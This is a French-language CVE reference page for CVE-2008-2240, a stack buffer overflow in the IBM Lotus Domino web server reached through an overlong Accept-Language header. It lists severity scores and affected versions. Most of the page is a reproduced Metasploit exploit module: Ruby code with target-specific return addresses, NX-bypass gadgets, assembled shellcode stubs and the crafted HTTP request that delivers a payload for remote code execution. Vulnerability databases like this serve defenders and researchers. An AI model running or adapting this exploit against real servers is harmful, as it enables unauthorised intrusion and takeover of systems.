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Descriptions du CVE
Stack-based buffer overflow in the Web Server service in IBM Lotus Domino before 7.0.3 FP1, and 8.x before 8.0.1, allows remote attackers to cause a denial of service (daemon crash) or possibly execute arbitrary code via a long Accept-Language HTTP header.
Informations du CVE
Faiblesses connexes
| Nom de la faiblesse | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 10 | AV:N/AC:L/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 16697
Date de publication : 2010-11-10 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: domino_http_accept_language.rb 10998 2010-11-11 22:43:22Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'IBM Lotus Domino Web Server Accept-Language Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in IBM Lotus Domino Web Server
prior to version 7.0.3FP1 and 8.0.1. This flaw is triggered by any HTTP
request with an Accept-Language header greater than 114 bytes.
},
'Author' => [ 'Fairuzan Roslan riaf[at]mysec.org', 'Earl Marcus klks[at]mysec.org' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 10998 $',
'References' =>
[
['CVE', '2008-2240'],
['OSVDB', '45415'],
['BID', '29310'],
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21303057'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x0a\x20\x2c\x3b",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['Lotus Domino 7.0 on Windows 2003 SP1 English(NX)',
{
'FixESP' => 0x70335c79, # add esp, 0x324, ret @fontmanager.dll
'FixESI' => 0x603055da, # push esp, pop esi, ret @nnotes.dll
'FixEBP' => 0x60a8bc90, # push esp, pop ebp, ret 0x10 @nnotes.dll
'Ret' => 0x62c838c7, # ret 0x12e @nlsccstr.dl
'DisableNX' => 0x7c83e413, # NX Disable @ntdll.dll
'JmpESP' => 0x62c6072e, # jmp esp @nlsccstr.dll
}
],
['Lotus Domino 7.0 on Windows 2003 SP2 English(NX)',
{
'FixESP' => 0x70335c79, # add esp, 0x324, ret @fontmanager.dll
'FixESI' => 0x603055da, # push esp, pop esi, ret @nnotes.dll
'FixEBP' => 0x60a8bc90, # push esp, pop ebp, ret 0x10 @nnotes.dll
'Ret' => 0x62c838c7, # ret 0x12e @nlsccstr.dll
'DisableNX' => 0x7c83f517, # NX Disable @ntdll.dll
'JmpESP' => 0x62c6072e, # jmp esp @nlsccstr.dll
}
],
['Lotus Domino 7.0 on Windows 2003/2000/XP English(NO NX)',
{
'FixESP' => 0x70335c79, # add esp, 0x324, ret @fontmanager.dll
'JmpESP' => 0x62c6072e, # jmp esp @lsccstr.dll
}
],
['Lotus Domino 8.0 on Windows 2003 SP1 English(NX)',
{
'FixESP' => 0x7ea0615c, # add esp, 0x324, ret @net.dll
'FixESI' => 0x639a7f87, # push esp, pop esi, ret @nlsccstr.dll
'FixEBP' => 0x6391c9f7, # push esp, pop ebp, ret 0x10 @nlsccstr.dll
'Ret' => 0x7f8b0628, # ret 0x12e @j9gc23.dll
'DisableNX' => 0x7c83e413, # NX Disable @ntdll.dll
'JmpESP' => 0x6391071e, # jmp esp @nlsccstr.dll
}
],
['Lotus Domino 8.0 on Windows 2003 SP2 English(NX)',
{
'FixESP' => 0x7ea0615c, # add esp, 0x324, ret @net.dll
'FixESI' => 0x639a7f87, # push esp, pop esi, ret @nlsccstr.dll
'FixEBP' => 0x6391c9f7, # push esp, pop ebp, ret 0x10 @nlsccstr.dll
'Ret' => 0x7f8b0628, # ret 0x12e @j9gc23.dll
'DisableNX' => 0x7c83f517, # NX Disable @ntdll.dll
'JmpESP' => 0x6391071e, # jmp esp @nlsccstr.dll
}
],
['Lotus Domino 8.0 on Windows 2003/2000/XP English(NO NX)',
{
'FixESP' => 0x7ea0615c, # add esp, 0x324, ret @net.dll
'JmpESP' => 0x6391071e, # jmp esp @nlsccstr.dll
}
],
],
'DisclosureDate' => 'May 20 2008'))
register_options( [ Opt::RPORT(80) ], self.class )
end
def exploit
connect
lang = rand_text_alphanumeric(116) # greetz to hateful chris
lang[ 56, 4 ] = [ 0xfffffffe ].pack('V') # Fix Second crash (esi)
lang[ 68, 4 ] = [ 0x7ffaf0ec ].pack('V') # Fix Second crash (eax)
lang[ 104, 4 ] = [ 0x7ffaf030 ].pack('V') # Fix First crash
lang[ 112, 4 ] = [target['FixESP']].pack('V') # 1
lang << "\x00"
lang << payload.encoded
if(not target['DisableNX'])
lang[ 16, 15 ] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-0xc4 pop edi sub edi,-0x86 call edi").encode_string # 4
lang[ 80, 4 ] = [target['JmpESP']].pack('V') # 2
lang[ 84, 2 ] = Rex::Arch::X86.jmp_short(-0x46) # 3 jmp back to top
else
lang[ 16, 16 ] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-0xd8 pop edi pop edi sub edi,-0x86 call edi").encode_string # 8
lang[ 80, 4 ] = [target['FixESI']].pack('V') # 2
lang[ 84, 4 ] = [target['FixEBP']].pack('V') # 3
lang[ 88, 4 ] = [target['Ret']].pack('V') # 4
lang[ 92, 4 ] = [target['JmpESP']].pack('V') # 6
lang[ 100, 2 ] = Rex::Arch::X86.jmp_short(-0x56) # 7 jmp back to top
lang[ 108, 4 ] = [target['DisableNX']].pack('V') # 5
end
uri = rand_text_alpha_lower(16) + '.nsf?' + rand_text_highascii(1) # Trigger
print_status("Trying target #{target.name}...")
send_request_raw({
'uri' => "#{uri}",
'method' => 'GET',
'headers' =>
{
'Accept' => '*/*',
'Accept-Language' => "#{lang}",
'Accept-Encoding' => 'gzip,deflate',
'Keep-Alive' => '300',
'Connection' => 'keep-alive',
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
}
}, 5)
handler
disconnect
end
end
Products Mentioned
Configuraton 0
Ibm>>Lotus_domino >> Version 6.0
- Ibm>>Lotus_domino >> Version 6.0 (Open CPE detail)
Ibm>>Lotus_domino >> Version 6.5
- Ibm>>Lotus_domino >> Version 6.5 (Open CPE detail)
Ibm>>Lotus_domino >> Version 7.0
- Ibm>>Lotus_domino >> Version 7.0 (Open CPE detail)
Ibm>>Lotus_domino >> Version 8.0
- Ibm>>Lotus_domino >> Version 8.0 (Open CPE detail)
Ibm>>Lotus_domino >> Version 8.0.1
- Ibm>>Lotus_domino >> Version 8.0.1 (Open CPE detail)
